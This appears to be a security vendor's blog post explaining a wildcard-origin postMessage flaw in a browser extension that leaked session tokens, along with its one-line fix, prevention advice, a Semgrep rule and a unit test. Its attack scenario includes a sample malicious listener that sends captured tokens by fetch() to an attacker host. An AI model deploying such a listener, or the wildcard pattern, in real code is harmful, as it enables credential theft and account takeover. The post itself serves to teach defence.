Back to Blog
medium SEVERITY5 min read

Wildcard PostMessage Leak: How One Character Exposed User Sessions

A critical security flaw in a browser extension's authentication flow was sending sensitive session tokens and user data to any website using the wildcard "*" origin in postMessage. This vulnerability could have allowed malicious sites to intercept authentication credentials, but was fixed by restricting message delivery to the application's own origin.

O
By Orbis AppSec
Published March 6, 2026Reviewed June 3, 2026

Answer Summary

Wildcard postMessage origin exposure (CWE-346) occurs in JavaScript browser extensions when `postMessage()` uses "*" as the target origin, allowing any website to receive sensitive data. This vulnerability was found in an authentication flow sending session tokens. The fix replaces the wildcard with a specific, trusted origin (e.g., `window.postMessage(data, "https://app.example.com")`), ensuring only the intended recipient can access the message.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixReplace wildcard with specific application origin
riskSession token and credential theft by malicious websites
languageJavaScript (Browser Extension)
root causeUsing "*" as target origin in postMessage() during authentication
vulnerabilityInsecure postMessage with wildcard origin

Introduction

Browser extensions have become an integral part of our web experience, but they also introduce unique security challenges—especially when communicating between different contexts. Recently, a significant vulnerability was discovered and fixed in a browser extension that could have exposed user session tokens and personal data to any website a user visited.

This wasn't a sophisticated exploit requiring deep technical knowledge. It was a simple configuration error that could have had devastating consequences: using a wildcard (*) as the target origin in window.postMessage(). Let's dive into what went wrong, how it was fixed, and what every developer should learn from this incident.

The Vulnerability Explained

What is postMessage?

The window.postMessage() API enables secure cross-origin communication between different windows, iframes, or browser contexts. It's designed with security in mind—if used correctly. The method signature looks like this:

window.postMessage(message, targetOrigin, [transfer])

The targetOrigin parameter is crucial: it specifies which origin should receive the message. This is your security gate.

The Security Flaw

In the vulnerable code, the application was sending sensitive authentication data using a wildcard origin:

// VULNERABLE CODE ❌
window.postMessage({ token: encodedToken, userData }, "*")

That innocent-looking asterisk (*) means "send this message to ANY origin." Here's what was being broadcast:

  • Session tokens: The keys to the kingdom for authenticated sessions
  • User data: Personal information associated with the account

How Could This Be Exploited?

Imagine this attack scenario:

  1. A user successfully authenticates with the browser extension
  2. The application sends the session token via postMessage with * as the target
  3. The user visits a malicious website (or a legitimate site with XSS vulnerabilities)
  4. That site has a simple listener running:
// Malicious site code
window.addEventListener('message', (event) => {
    if (event.data.token && event.data.userData) {
        // Jackpot! Send stolen credentials to attacker's server
        fetch('https://attacker.com/steal', {
            method: 'POST',
            body: JSON.stringify(event.data)
        });
    }
});

The attacker now has:
- Full session access to the user's account
- Personal information (email, profile data)
- The ability to impersonate the user

Real-World Impact

This vulnerability could enable:

  • Account takeover: Attackers could use stolen tokens to access user accounts
  • Data exfiltration: Personal information could be harvested at scale
  • Lateral attacks: Compromised accounts could be used to attack other users or systems
  • Privacy violations: User data could be sold or exploited

The Fix

The solution was elegantly simple—replace the wildcard with a specific, trusted origin:

// BEFORE (Vulnerable) ❌
window.postMessage({ token: encodedToken, userData }, "*")

// AFTER (Secure) ✅
window.postMessage({ token: encodedToken, userData }, window.location.origin)

How This Solves the Problem

By specifying window.location.origin, the message can only be received by code running on the same origin (protocol + domain + port) as the sender. This means:

  • Origin validation: Only the intended recipient can access the message
  • No cross-origin leakage: Malicious sites on different origins cannot intercept the data
  • Defense in depth: Even if a user visits a compromised site, the tokens remain protected

The Security Improvement

This fix implements the principle of least privilege. Instead of broadcasting sensitive data to the entire web, it restricts access to only the necessary context. It's the difference between shouting your password in a crowded room versus whispering it to the person who needs it.

Prevention & Best Practices

1. Never Use Wildcard Origins for Sensitive Data

The golden rule: Never use "*" when sending sensitive information via postMessage.

// NEVER do this with sensitive data ❌
window.postMessage(sensitiveData, "*")

// Always specify the target origin ✅
window.postMessage(sensitiveData, "https://trusted-domain.com")

2. Validate Message Origins on Receipt

Always verify the sender's origin when receiving messages:

window.addEventListener('message', (event) => {
    // Validate the sender's origin
    if (event.origin !== 'https://trusted-domain.com') {
        console.warn('Rejected message from untrusted origin:', event.origin);
        return;
    }

    // Process the message
    handleTrustedMessage(event.data);
});

3. Use Content Security Policy (CSP)

Implement CSP headers to restrict which origins can interact with your application:

Content-Security-Policy: default-src 'self'; connect-src 'self' https://api.trusted.com

4. Implement Static Analysis

Use tools like Semgrep (which detected this vulnerability) to catch these issues during development:

# Semgrep rule example
rules:
  - id: wildcard-postmessage
    pattern: window.postMessage($MSG, "*")
    message: "Wildcard origin in postMessage can leak sensitive data"
    severity: ERROR

5. Security Standards & References

This vulnerability relates to several established security standards:

  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-359: Exposure of Private Personal Information to an Unauthorized Actor
  • OWASP Top 10: A01:2021 – Broken Access Control
  • OWASP ASVS: V1.4 Access Control Architectural Requirements

6. Code Review Checklist

When reviewing code that uses postMessage, ask:

  • [ ] Is the target origin explicitly specified?
  • [ ] Are we sending sensitive data?
  • [ ] Do we validate the sender's origin when receiving messages?
  • [ ] Could this message be intercepted by malicious code?
  • [ ] Have we tested with different origins?

7. Testing Strategies

Create unit tests that verify origin restrictions:

describe('postMessage security', () => {
    it('should only send to same origin', () => {
        const postMessageSpy = jest.spyOn(window, 'postMessage');

        sendAuthToken(token, userData);

        expect(postMessageSpy).toHaveBeenCalledWith(
            expect.any(Object),
            window.location.origin
        );
    });
});

Conclusion

This vulnerability serves as a powerful reminder that security often comes down to the smallest details. A single character—the wildcard *—was the difference between a secure authentication flow and a potential data breach affecting all users.

The key takeaways:

  1. PostMessage is powerful but dangerous when misconfigured
  2. Always specify explicit origins for sensitive communications
  3. Validate origins on both sides of the communication channel
  4. Use automated tools like Semgrep to catch these issues early
  5. Security is everyone's responsibility—not just the security team

As developers, we must remain vigilant about these "small" configuration choices. They're often the weakest links in our security chain. Take the time to review your own codebases for similar patterns, implement proper origin validation, and make security checks a standard part of your development workflow.

Remember: secure coding isn't about writing more code—it's about writing careful code. Sometimes, the most important security fix is changing a single character from "*" to window.location.origin.

Have you checked your postMessage implementations lately?


Special thanks to the security team for identifying and quickly remediating this vulnerability through automated scanning. This is a perfect example of how modern security tooling can catch issues before they reach production.

Frequently Asked Questions

What is wildcard postMessage origin exposure?

It's a vulnerability where postMessage() uses "*" as the target origin, allowing any website to receive the message instead of only the intended recipient.

How do you prevent postMessage origin leaks in JavaScript?

Always specify an explicit, trusted origin (e.g., "https://yourdomain.com") as the second parameter to postMessage() instead of using the wildcard "*".

What CWE is wildcard postMessage origin exposure?

CWE-346 (Origin Validation Error), which covers failures to properly validate the origin of data or communications.

Is checking window.opener enough to prevent postMessage leaks?

No, checking window.opener alone is insufficient. You must specify an explicit target origin in postMessage() to ensure only the intended recipient receives the message.

Can static analysis detect postMessage origin issues?

Yes, static analysis tools like Semgrep can detect postMessage() calls using "*" as the target origin, flagging them for review before deployment.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #565

Related Articles

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.

critical

How buffer overflow in memcpy() happens in Node.js N-API bindings and how to fix it

A critical buffer overflow vulnerability was discovered in the GetBufferAsVector() function in examples_nodejs/src/zupt_napi.cpp, where memcpy() copied data from JavaScript Uint8Array buffers without proper bounds validation. This vulnerability could allow attackers to trigger memory corruption by providing maliciously crafted input arrays to the native Node.js module, potentially leading to crashes or arbitrary code execution.

high

How memory exhaustion via large comma-separated selector lists happens in Python soupsieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in soupsieve 2.8.3, a CSS selector library used by BeautifulSoup in Python. An attacker who could influence CSS selector input could craft large comma-separated selector lists to exhaust system memory, causing denial of service. The fix upgrades soupsieve from 2.8.3 to 2.8.4 in the backend's `uv.lock` dependency file.